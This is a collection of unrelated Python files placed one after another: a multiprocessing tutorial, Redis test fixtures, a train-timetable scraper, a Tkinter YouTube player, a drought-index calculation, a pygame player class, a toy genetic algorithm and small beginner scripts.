    pC.start()
    pD.start()

    pC.join()
    pD.join()

    print("Final Balance:",balance.value)

############# Example 8 ######################

def sqr(n):
    print("Worker process id for {0}:{1}".format(n,os.getpid()))
    return n*n

################## main ######################

def main():
    #Multiprocessing - introduction
    #https://www.geeksforgeeks.org/multiprocessing-python-set-1/?ref=lbp
    print("\nMultiprocessing example 1 \n")

    print("ID of main process: {}".format(os.getpid()))

    p1 = multiprocessing.Process(target = print_cube, name = 'p1', args=(10,))
    p2 = multiprocessing.Process(target = print_sqr, name = 'p2', args=(10,))

    p1.start()
    p2.start()

    print("ID of process p1: {}".format(p1.pid))
    print("ID of process p2: {}".format(p2.pid))

    p1.join()
    p2.join()

    print("Process p1 alive: {}".format(p1.is_alive()))
    print("Process p2 alive: {}".format(p2.is_alive()))

    #Multiprocessing - communication between processes
    #https://www.geeksforgeeks.org/multiprocessing-python-set-2/?ref=lbp
    # Newly created process will 1) run independently and 2) have their own memory space

    print("\nMultiprocessing example 2 - sharing data between processes: shared memory \n")
    # process p3 and main shares shared memory space, which stores result and square_sum

    mylist = [1,2,3,4,5]

    #create array of int data type with space for 5 integers
    result =  multiprocessing.Array('i',5)

    #create value of int type -> can be given initial value
    square_sum = multiprocessing.Value('i')

    # Pass result and square_sum as arguments while creating Process
    p3 = multiprocessing.Process(target = sqrList, args = (mylist,result,square_sum))

    p3.start()
    p3.join()

    print("Result in main process: {}".format(result[:]))
    print("Sum of squares in main process: {}".format(square_sum.value))

    print("\nMultiprocessing example 3 - sharing data between processes: server process \n")

    with multiprocessing.Manager() as manager:
        #Create list in server process memory
        records = manager.list( [('Sam',10), ('Adam', 9), ('Kevin', 8)] )
        new_record = ('David', 10)

        p4 = multiprocessing.Process(target = insertRecord, args = (new_record, records))
        p5 = multiprocessing.Process(target = printRecord, args = (records,))
        #Process 4 - join records
        p4.start()
        p4.join()
        #Process 5 - print records
        p5.start()
        p5.join()

    print("\nMultiprocessing example 4 - communication between processes: queue \n")

    #reuse mylist = [1,2,3,4,5]
    #Create multiprocessing queue
    q = multiprocessing.Queue()

    #in sqrQueue, insert into queue
    p6 = multiprocessing.Process(target = sqrQueue, args = (mylist,q))
    #in printQueue, get queue content
    p7 = multiprocessing.Process(target = printQueue, args = (q,))

    p6.start()
    p7.start()

    p6.join()
    p7.join()

    print("\nMultiprocessing example 5 - communication between processes: pipe \n")

    msgList = ["Tottenham","are","the","greatest","team","that","the","world","has","ever","seen","END"]

    #Create pipe
    parCon, chiCon = multiprocessing.Pipe()

    p8 = multiprocessing.Process(target = sender, args = (parCon, msgList)) #set sender pipe
    p9 = multiprocessing.Process(target = receiver, args = (chiCon,)) #set receiver pipe

    p8.start()
    p9.start()

    p8.join()
    p9.join()

    #Synchronization and Pooling of processes in Python
    #https://www.geeksforgeeks.org/synchronization-pooling-processes-python/
    print("\nMultiprocessing example 6 - race \n")

    for _ in range(10):
        # perform_transactions() for 10 times
        perform_transactions()

    # Oh no! Process racing happens. Expected to have 100 as final balance (100-10000+10000)
    # This happens due to concurrent access of processes to the shared data 'balance' -> race condition

    """
    current balance = 100

    pA    read()                   balance = 100-1 = 99
    pB                read()                                 balance = 100+1 = 101

    WRONG OPERATION CARRIED OUT!
    """

    """
    current balance = 100

    pA    read()     balance = 100-1 = 99
    pB                                         read()       balance = 99+1 = 100

    Operation carried out properly
    """

    """
    current balance = 100

    pA                                         read()       balance = 101-1 = 100
    pB    read()     balance = 100+1 = 101

    Operation carried out properly
    """

    print("\nMultiprocessing example 7 - using locks \n")

    for _ in range(10):
        # perform_transactions_withLock() for 10 times
        perform_transactions_withLock()

    # Okay, this one returns proper value (100) lol. Why does it happen?
    # Because withdraw and deposit happens after the lock is acquired!!
    # Making sure that shared data 'balance' is accessed by only one process every time

    """
    current balance = 100

    pA    read()      lock     balance = 100-1 = 99    release
    pB                                                           read()     lock    balance = 99+1 = 100    release

    Operation carried out properly
    """

    """
    current balance = 100

    pA                                                            read()    lock    balance = 101-1 = 100    releasse
    pB    read()      lock     balance = 100+1 = 101    release

    Operation carried out properly
    """

    print("\nMultiprocessing example 8 - pooling between processes \n")

    # Task is offloaded/distributed among the cores/processes automatically by Pool object
    # User doesn't need to worry about creating processes explicitly

    # Well AMD Ryzen 7 2700X has 16 threads, need to have a list longer than 16!
    mylistLarge = [1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25]

    p = multiprocessing.Pool()

    result = p.map(sqr,mylistLarge)

    print(result)

if __name__ == "__main__":
    main()


import pytest
import redis

from nameko import config
from statistics.dependencies import REDIS_URI_KEY

@pytest.fixture
def test_config(rabbit_config):
    with config.patch(
        {REDIS_URI_KEY: 'redis://localhost:6379/11'}
    ):
        yield

@pytest.yield_fixture
def redis_client(test_config):
    client = redis.StrictRedis.from_url(config.get(REDIS_URI_KEY))
    yield client
    client.flushdb()

@pytest.fixture
def create_param(redis_client):
    def create(key, value):
        redis_client.mset({key: value})
        return value
    return create

@pytest.fixture
def params(create_param):
    return [
        create_param(
            key='foo_1',
            value='bar_1',
        ),
        create_param(
            key='foo_2',
            value='bar_2',
        ),
        create_param(
            key='foo_3',
            value='bar_3',
        ),
    ]


import requests

from datetime import datetime
from BeautifulSoup import BeautifulSoup

USER_AGENT = ('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:31.0) '
              'Gecko/20100101 Firefox/31.0')
HEADERS = {
    'User-Agent': USER_AGENT,
}
URL_PREFIX = ('http://www.abelliogreateranglia.co.uk/travel-information'
              '/journey-planning/live-departures/station/')

# 7-8 minutes to commute to station
STATION_COMMUTE = 60 * 8

def parse_time(time_str):
    """Generates today datetime from a HH:MM formatted time."""
    now = datetime.now()
    hour_str, minutes_str = time_str.split(':')
    return datetime(
        now.year, now.month, now.day, int(hour_str), int(minutes_str))

def parse_response(content, valid_stations):
    """Parse the content response."""
    columns = ['destination', 'time', 'status', 'origin', 'operator']
    soup = BeautifulSoup(content)
    timetable = []
    for row in soup.findAll('tr'):
        # Ignore header row:
        if row.find('th'):
            continue
        data = dict([(k, v.text) for k, v in zip(columns, row.findAll('td'))])
        # Ignore non related stations:
        if data['destination'].lower() in valid_stations:
            timetable.append(data)
    return timetable

def get_train_datetime(item):
    """Parse the train time of arrival."""
    time_str = item['status'] if ':' in item['status'] else item['time']
    return parse_time(time_str)

def update_schedule(item):
    """Add more detail to the schedule.."""
    item['destination'] = item['destination'].upper()
    train_datetime = get_train_datetime(item)
    time_diff = train_datetime - datetime.now()
    home_departure = time_diff.total_seconds() - STATION_COMMUTE
    if home_departure > 0:
        depart_in = 'Depart in %s mins.' % int((home_departure / 60))
    else:
        minutes = int(time_diff.total_seconds() / 60)
        depart_in = ('Unlikely. Train in %s mins.' % minutes)
    item['depart_in'] = depart_in
    return item

def get_timetable(shortcode, valid_stations):
    """Prepares the timetable to be rendered."""
    url = '%s%s' % (URL_PREFIX, shortcode)
    response = requests.get(url, headers=HEADERS)
    if not response.status_code == 200:
        response = requests.get(url, headers=HEADERS)
    raw_timetable = parse_response(response.content, valid_stations)
    return map(update_schedule, raw_timetable)


from tkinter import *
from YouTube import *
from bs4 import BeautifulSoup as soup
import urllib.parse
from PIL import Image, ImageTk
import io,os
from tkinter.messagebox import *

root = Tk()
root.geometry('1000x580')

photo = PhotoImage(file="./logo.png")
root.iconphoto(False,photo)

root.title("YouTube Play Music")

image1 = PhotoImage(file="./banner.png")
label_for_image = Label(root,image=image1)
label_for_image.place(x=170, y=-1)

SearchVar = StringVar()
os.system("cls")

def Search():
    def PlayAudio(vidlink,title,duration):
        audio_root = Toplevel()
        audio_root.geometry('500x200')
        photo = PhotoImage(file="./logo.png")
        audio_root.iconphoto(False,photo)
        audio_root.resizable(0,0)
        audio_title = f'''{title[0:60]}\n{title[60:100]}..\n\nSong Duration: {duration}'''
        Label(audio_root,text=audio_title,font=("Arial",12)).place(x=10,y=10)

        b1 = Button(audio_root,text="Play",font=("ArialBlack",20),width=8,bd=5,command=lambda: Audio(vidlink,b1,b2,b3))
        b1.place(x=10,y=120)

        b2 = Button(audio_root,text="Pause/Play",font=("ArialBlack",20),width=9,bd=5,command=PAUSE)
        b2['state'] = DISABLED
        b2.place(x=167,y=120)

        b3 = Button(audio_root,text="Stop",font=("ArialBlack",20),width=8,bd=5,command=lambda: STOP(b1,b2,b3))
        b3['state'] = DISABLED
        b3.place(x=340,y=120)
        def on_closing():
            if askokcancel("Quit", "Do you want to quit?"):
                STOP(b1,b2,b3)
                audio_root.destroy()
        audio_root.protocol("WM_DELETE_WINDOW", on_closing)
        audio_root.mainloop()

    def PlayVideo(vidlink,title,duration):
        video_root = Toplevel()
        video_root.geometry('500x200')
        photo = PhotoImage(file="./logo.png")
        video_root.iconphoto(False,photo)
        video_root.resizable(0,0)

        audio_title = f'''{title[0:60]}\n{title[60:100]}..\n\nSong Duration: {duration}'''
        Label(video_root,text=audio_title,font=("Arial",12)).place(x=10,y=10)

        b1 = Button(video_root,text="Play",font=("ArialBlack",20),width=8,bd=5,command=lambda: Video(vidlink,b1,b2,b3))
        b1.place(x=10,y=120)

        b2 = Button(video_root,text="Pause/Play",font=("ArialBlack",20),width=9,bd=5,command=PAUSE)
        b2['state'] = DISABLED
        b2.place(x=167,y=120)

        b3 = Button(video_root,text="Stop",font=("ArialBlack",20),width=8,bd=5,command=lambda: STOP(b1,b2,b3))
        b3['state'] = DISABLED
        b3.place(x=340,y=120)

        def on_closing():
            if askokcancel("Quit", "Do you want to quit?"):
                STOP(b1,b2,b3)
                video_root.destroy()
        video_root.protocol("WM_DELETE_WINDOW", on_closing)
        video_root.mainloop()

    search=SearchVar.get()
    SearchData = list(SearchKeywords(search))

    Title = SearchData[2]
    ThumbURL = SearchData[3]
    Channel = SearchData[4]
    Duration = SearchData[5]
    Views = SearchData[6]

    raw_data1 = urllib.request.urlopen(ThumbURL[0]).read()
    im1 = Image.open(io.BytesIO(raw_data1))
    im1 = im1.resize((170,100))
    thumimage1 = ImageTk.PhotoImage(im1)
    label1 = Label(root, image=thumimage1)
    label1.place(x=30,y=200)
    Title1 = f'''{Title[0][0:75:]}\n{Title[0][75::]}'''
    Label(root,text=Title1,font=("ArialBlack",14),justify=LEFT).place(x=210,y=200)
    Label(root,text=Channel[0][0:25:]+" | ",font=("ArialBold",12)).place(x=210,y=250)
    Label(root,text=Views[0],font=("ArialBold",12)).place(x=400,y=250)
    Label(root,text="Video Length: "+Duration[0],font=("ArialBold",12)).place(x=210,y=275)
    Button(root,text="Play Audio",font=("ArialBlack",15),bd=5,command=lambda: PlayAudio(SearchData[1][0],Title[0],Duration[0])).place(x=620,y=240)
    Button(root,text="Play Video",font=("ArialBlack",15),bd=5,command=lambda: PlayVideo(SearchData[1][0],Title[0],Duration[0])).place(x=780,y=240)

    raw_data2 = urllib.request.urlopen(ThumbURL[1]).read()
    im2 = Image.open(io.BytesIO(raw_data2))
    im2 = im2.resize((170,100))
    thumimage2 = ImageTk.PhotoImage(im2)
    label2 = Label(root, image=thumimage2)
    label2.place(x=30,y=320)
    Title2 = f'''{Title[1][0:75:]}\n{Title[1][75::]}'''
    Label(root,text=Title2,font=("ArialBlack",14),justify=LEFT).place(x=210,y=320)
    Label(root,text=Channel[1][0:25:]+" | ",font=("ArialBold",12)).place(x=210,y=370)
    Label(root,text=Views[1],font=("ArialBold",12)).place(x=400,y=370)
    Label(root,text="Video Length: "+Duration[1],font=("ArialBold",12)).place(x=210,y=395)
    Button(root,text="Play Audio",font=("ArialBlack",15),bd=5,command=lambda: PlayAudio(SearchData[1][1],Title[1],Duration[1])).place(x=620,y=360)
    Button(root,text="Play Video",font=("ArialBlack",15),bd=5,command=lambda: PlayVideo(SearchData[1][1],Title[1],Duration[1])).place(x=780,y=360)

    raw_data3 = urllib.request.urlopen(ThumbURL[2]).read()
    im3 = Image.open(io.BytesIO(raw_data3))
    im3 = im3.resize((170,100))
    thumimage3 = ImageTk.PhotoImage(im3)
    label3 = Label(root, image=thumimage3)
    label3.place(x=30,y=440)
    Title3 = f'''{Title[2][0:75:]}\n{Title[2][75::]}'''
    Label(root,text=Title3,font=("ArialBlack",14),justify=LEFT).place(x=210,y=440)
    Label(root,text=Channel[2][0:25:]+" | ",font=("ArialBold",12)).place(x=210,y=490)
    Label(root,text=Views[2],font=("ArialBold",12)).place(x=400,y=490)
    Label(root,text="Video Length: "+Duration[2],font=("ArialBold",12)).place(x=210,y=515)
    Button(root,text="Play Audio",font=("ArialBlack",15),bd=5,command=lambda: PlayAudio(SearchData[1][2],Title[2],Duration[2])).place(x=620,y=480)
    Button(root,text="Play Video",font=("ArialBlack",15),bd=5,command=lambda: PlayVideo(SearchData[1][2],Title[2],Duration[2])).place(x=780,y=480)
    root.mainloop()

Label(root,text="Search Keywords:",font=("ArialBlack",15)).place(x=50,y=90)
e1 = Entry(root,font=("ArialBlack",20),width=50,bd=5,textvariable=SearchVar)
e1.focus()
e1.place(x=50,y=120)
Button(root,text="Search",font=("ArialBlack",20),bd=5,command=Search).place(x=840,y=110)

root.mainloop()

Search-and-Play-YouTube-Video/Search and Play YouTube Video/main.py


import pandas as pd
import numpy as np
import scipy.stats as stats
import openpyxl.workbook

def read_excel(filename, usecols):
    my_sheets = pd.read_csv(filename, na_filter=True, skiprows=[0], index_col=[0], usecols=usecols)
    my_sheets = my_sheets.replace(to_replace=r',', value='.', regex=True)
    max_data = my_sheets.max().max()
    data = {}

    for i in my_sheets:
        # print(i)
        data["Năm"] = list(map(lambda x: int(x), my_sheets.index))
        data[i] = list(map(lambda x: float(x), my_sheets[i].values))

    return data, max_data

def weight_bc(data_rain, data_strm):
    bi = {}
    ci = {}
    for i, j in zip(data_rain, data_strm):
        if (i == "Năm" or j == "Năm"):
            continue
        fbi = data_rain[i] / max_rain
        fci = data_strm[j] / max_strm
        bi[i] = np.round(np.array(fbi / (fbi + fci)), 2)
        ci[i] = np.round(np.array(fci / (fbi + fci)), 2)
    return bi, ci

def gamma_distribution(data_rain, data_strm):
    Prain = {}
    Pstrm = {}
    for i, j in zip(data_rain, data_strm):
        if (i == "Năm" or j == ['Năm']):
            continue
        fit_alpha, fit_loc, fit_beta = stats.gamma.fit(np.array(data_rain[i]), floc=0)
        # print(fit_alpha, fit_loc, fit_beta)
        Prain[i] = stats.gamma.cdf(data_rain[i], fit_alpha, fit_loc, fit_beta) * 100
        fit_alpha, fit_loc, fit_beta = stats.gamma.fit(data_strm[j], floc=0)
        Pstrm[i] = stats.gamma.cdf(data_strm[j], fit_alpha, fit_loc, fit_beta) * 100

    return Prain, Pstrm

def SWSI(bi, ci, Prain, Pstrm):
    SWSI = {}
    for i in Prain:
        SWSI[i] = (bi[i] * Prain[i] + ci[i] * Pstrm[i] - 50) / 12
    return SWSI

def to_excel(SWSI, index):
    sheet_1 = {}
    sheet_2 = {}
    date, month, swsi, swsi_negative, swsi_plus = [], [], [], [], []
    for i in range(len(index)):
        for j in SWSI:
            date.append(index[i])
            month.append(j[1:])
            swsi.append(SWSI[j][i])
            if (SWSI[j][i] < 0):
                swsi_negative.append(SWSI[j][i])
                swsi_plus.append(0.0)
            elif (SWSI[j][i] > 0):
                swsi_negative.append(0.0)
                swsi_plus.append(SWSI[j][i])

    sheet_2["Năm"], sheet_2["Tháng"], sheet_2["SWSI"], sheet_2["SWSI (-)"], sheet_2[
        "SWSI (+)"] = date, month, swsi, swsi_negative, swsi_plus
    sheet_1["Năm"] = index
    sheet_1.update(SWSI)
    writer = pd.ExcelWriter('media/R/SWSI.xlsx')
    pd.DataFrame(sheet_1).to_excel(writer, 'SWSI_1995-2018', index=False)
    pd.DataFrame(sheet_2).to_excel(writer, 'SWSI_1995-2018_col', index=False)
    writer.save()


number1 = int(input("Enter first number: "))
number2 = int(input("Enter second number: "))

multiplicationOfTwoNumber = number1 * number2

if multiplicationOfTwoNumber <= 1000:
    print("The result is", multiplicationOfTwoNumber)
else:
    sum = number1 + number2
    print("The result is", sum)

basic/PYnative/Basic Exercise for Beginners/Exercise 1.py


import pygame, math, color

color = color.Color((170,0,170))

class Player:
    def __init__(self,x,y):
        self.health = 3
        self.x = x
        self.y = y
        self.speed = 1.9
        self.size = (11,16)
        self.rect = pygame.Rect((x,y),self.size)
        self.color = color.martinique
        self.offput = (-5,-2)
        self.sprite = pygame.image.load("images/player/idle/0.png")
        self.sprite.set_colorkey(color.colorkey)
        self.angle = 0
        self.invinc = 0
        self.flip = False
        self.kill_box = pygame.Rect((x - 18,y - 18),(47,52))

        self.animation_action = "idle"
        self.animation_ticker = 0
        self.animation_frame = 0
        self.animation_database = {
          "idle": [[12,12,12,12,12,12,24],[pygame.image.load("images/player/idle/0.png"),pygame.image.load("images/player/idle/0.png"),pygame.image.load("images/player/idle/0.png"),pygame.image.load("images/player/idle/0.png"),pygame.image.load("images/player/idle/0.png"),pygame.image.load("images/player/idle/0.png"),pygame.image.load("images/player/idle/1.png")]],
          "movement": [[6,6],[pygame.image.load("images/player/movement/1.png"),pygame.image.load("images/player/movement/0.png")]],
          "idle_throw": [[6,6],[pygame.image.load("images/player/idle_throw/0.png"),pygame.image.load("images/player/idle_throw/1.png")]],
          "movement_throw": [[6,6],[pygame.image.load("images/player/movement_throw/1.png"),pygame.image.load("images/player/movement_throw/0.png")]]}
        self.animation_data = self.animation_database["idle"]

    def collisions(self,object_list):
        collision_list = []
        for object in object_list:
            if object.rect.colliderect(self.rect):
                collision_list.append(object)
        return collision_list

    def move(self,movement,objects_list):
        collision_types = {'top':False,'bottom':False,'right':False,'left':False}
        object_hit_list = self.collisions(objects_list)
        #Collisions in x direction
        last_pos = (self.x,self.y)
        self.x += movement[0]
        self.rect.x = int(self.x)
        object_hit_list = self.collisions(objects_list)
        for enemy in object_hit_list:
            if movement[0] > 0:
                self.rect.right = enemy.rect.left
                collision_types['right'] = True
            elif movement[0] < 0:
                self.rect.left = enemy.rect.right
                collision_types['left'] = True
            self.x = self.rect.x
        #Collisions in y direction
        self.y += movement[1]
        self.rect.y = int(self.y)
        object_hit_list = self.collisions(objects_list)
        for enemy in object_hit_list:
            if movement[1] > 0:
                self.rect.bottom = enemy.rect.top
                collision_types['bottom'] = True
            elif movement[1] < 0:
                self.rect.top = enemy.rect.bottom
                collision_types['top'] = True
            self.y = self.rect.y
        object_hit_list = self.collisions(objects_list)
        if len(object_hit_list) > 0:
            self.x = last_pos[0]
            self.y = last_pos[1]
            self.rect.x = last_pos[0]
            self.rect.y = last_pos[1]
        self.kill_box.x = self.x - 18
        self.kill_box.y = self.y - 18
        return collision_types

    def center(self):
        center = (self.x + int(self.size[0]/2),self.y + int(self.size[1]/2))
        return center

    def blit(self,display):
        sprite = self.sprite
        if self.flip:
            sprite = pygame.transform.flip(sprite, True, False)
            sprite.set_colorkey(color.colorkey)
        display.blit(sprite,(self.x + self.offput[0],self.y + self.offput[1]))

    def cursor_player_angle(self,cursor_pos):
        center = self.center()
        myradians = math.atan2(cursor_pos[1]-center[1], cursor_pos[0]-center[0])
        mydegrees = math.degrees(myradians)
        return mydegrees

    def action(self,action):
        if self.animation_action == action:
            pass
        else:
            if self.animation_ticker == 0 or action == "movement" or action == "movement_throw" or action == "idle_throw":
                self.animation_action = action
                self.animation_data = self.animation_database[action]
                self.animation_ticker = 0
                self.animation_frame = 0

                self.sprite = self.animation_data[1][self.animation_frame]
                self.sprite.set_colorkey(color.colorkey)

    def tick(self):
        self.animation_ticker += 1
        if self.animation_ticker > self.animation_data[0][self.animation_frame]:
            self.animation_ticker = 0
            self.animation_frame += 1
            if self.animation_frame > len(self.animation_data[0]) - 1:
                self.animation_frame = 0
            self.sprite = self.animation_data[1][self.animation_frame]
            self.sprite.set_colorkey(color.colorkey)


# -*- coding: utf-8 -*-
"""
Created on Sat Jul 14 02:02:42 2018

@author: Leo
"""

import numpy as np
import operator
import matplotlib.pyplot as plt

#GA variables
generations = 100
pop_size = 100
target = 10
mutate_prob = 0.1

best_of_each_gen = []

class Individual:
    gene = []
    fitness = None

class Population:
    members = []
    fitness_history = []

def Initialization(size):

    initial_population = []

    for _ in range(size):
        ind = Individual()
        ind.gene = np.random.randint(0, 101, 10)
        ind.fitness = np.sum(ind.gene)
        initial_population.append(ind)

    initial_population = sorted(initial_population, key=operator.attrgetter('fitness'))
    return initial_population

def Evaluation(pop):
    #individual's fitness
    for i in pop:
        i.fitness = (sum(i.gene))
    return pop

def Selection(pop):
    #Sorting by fitness
    pop = sorted(pop, key=operator.attrgetter('fitness'))
    return pop

def TPCrossover(pop):
    #Two-Point Crossover
    offspring = []
    #Mutation
    if ((mutate_prob * np.random.randint(0, 101, 1)[0]) == 1):
        offspring = Initialization(pop_size)
    else:
        for i in range(int(len(pop)/2)):
            p1 = np.random.randint(0, len(pop[0].gene))
            p2 = np.random.randint(0, len(pop[0].gene))

            if p1 > p2:
                holder = p1
                p1 = p2
                p2 = holder

            top = pop[i]
            worst = pop[-i-1]
            top.gene[p1:p2] = worst.gene[p1:p2]
            offspring.append(top)
            offspring.append(worst)

    pop = offspring
    return pop

def Visualization(x, y):
    plt.scatter(x,y)
    plt.show()

if __name__ == "__main__":

    population = Population()
    population.members = Initialization(pop_size)

    for _ in range(generations):

        population.members = Evaluation(population.members)
        population.members = Selection(population.members)
        population.members = TPCrossover(population.members)
        best_of_each_gen.append(population.members[-1])

    #Visualization
    population.fitness_history = []
    for ind in population.members:
        population.fitness_history.append(ind.fitness)
    x = np.arange(0, len(population.members), 1, dtype=int)
    Visualization(x, population.fitness_history)

    beg = []
    for i in sorted(best_of_each_gen, key=operator.attrgetter('fitness')):
        beg.append(i.fitness)

    x = np.arange(0, generations, 1, dtype=int)
    Visualization(x, beg)


from datetime import date

now = date.today()
print(now)

formated = now.strftime("%m-%d-%y. %d %b %Y is a %A on the %d day of %B.")
print(formated)

birthday = date(1964, 7, 31)
age = now - birthday
print(age.days)

rsavenkov/install packages/dates and times.py


#!/usr/bin/env python3

import main
import pandas as pd
import sys
sys.path.append('~/libfreenect2_alex/build')

def calculate_(test_vec):
    even_list = []  # frequency
    for mat_type_data in test_vec:
        for index, value in enumerate(mat_type_data):
            even_list.append(value)

    # material = training_set[i][j]
    # even_list.append(
    data = pd.DataFrame([even_list])

    # classifiers = give_classifiers()

    # IMPUTE THE DATA
    # data = impute(data, "Iterative")

    # Second classifier = Decision Tree

    return data